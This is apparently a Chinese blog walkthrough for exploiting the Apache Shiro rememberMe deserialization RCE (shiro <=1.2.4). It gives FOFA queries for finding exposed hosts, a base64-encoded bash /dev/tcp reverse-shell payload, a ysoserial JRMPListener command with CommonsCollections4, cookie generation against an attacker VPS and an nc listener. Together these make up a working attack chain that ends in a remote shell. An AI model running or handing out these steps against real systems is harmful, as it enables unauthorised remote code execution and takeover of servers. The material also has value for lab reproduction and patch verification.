Apache Shiro是一個Java安全框架,執行身份驗證、授權、密碼和會話管理。
shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。該漏洞對shiro<=1.2.4的版本有影響。
環境搭建
https://github.com/vulhub/vulhub docker環境
也可以在搜索引擎中找
FOFA
header="rememberme=deleteMe"、header="shiroCookie"
環境搭建難點
Shiro利用maven編譯有很多坑點,鑒於過於痛苦,我列出主要坑點
1.機器需要安裝mvn、svn命令
2.jdk建議為1.6
3.maven版本最好為3.1.1
一鍵檢測工具
https://github.com/sv3nbeast/ShiroScan
漏洞復現
需要2個利用漏洞工具加密
一個是shiro_poc.py ,用於得到rememberMe
一個是maven, 用於加密監聽執行命令
1.https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q
制作反彈shell 代碼
使用http://www.jackson-t.ca/runtime-exec-payloads.html 進行編碼
bash -I >& /dev/tcp ip/端口 0>&1

2.使用ysoserial中JRMP監聽模塊,監聽6666端口 (不同字體就是上面編碼后的命令)(注意標黃的位置,是工具名稱,注意適時更換)
攻擊機中執行命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'

如果沒用ysoserial,可安裝到shiro.py同目錄
或者利用ysoserial進行編碼
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
3.新建窗口,生成rememberme, 自己vps的ip,6666是上面ysoserial監聽的端口
python shiro_poc.py vpsip:6666 得到rememberme (注意這個rememberme是一次性的)

4.新建窗口,監聽端口
nc -lvnp 端口 (端口是第1步反彈shell的端口,不是6666端口)
5..復制rememberMe到數據包,發送
返回200,有些環境會返回302
注意:刪除session和空格

6.返回shell

文筆菜, 技術也菜 ,有什么問題可以留言,雖然我不會看。。。。
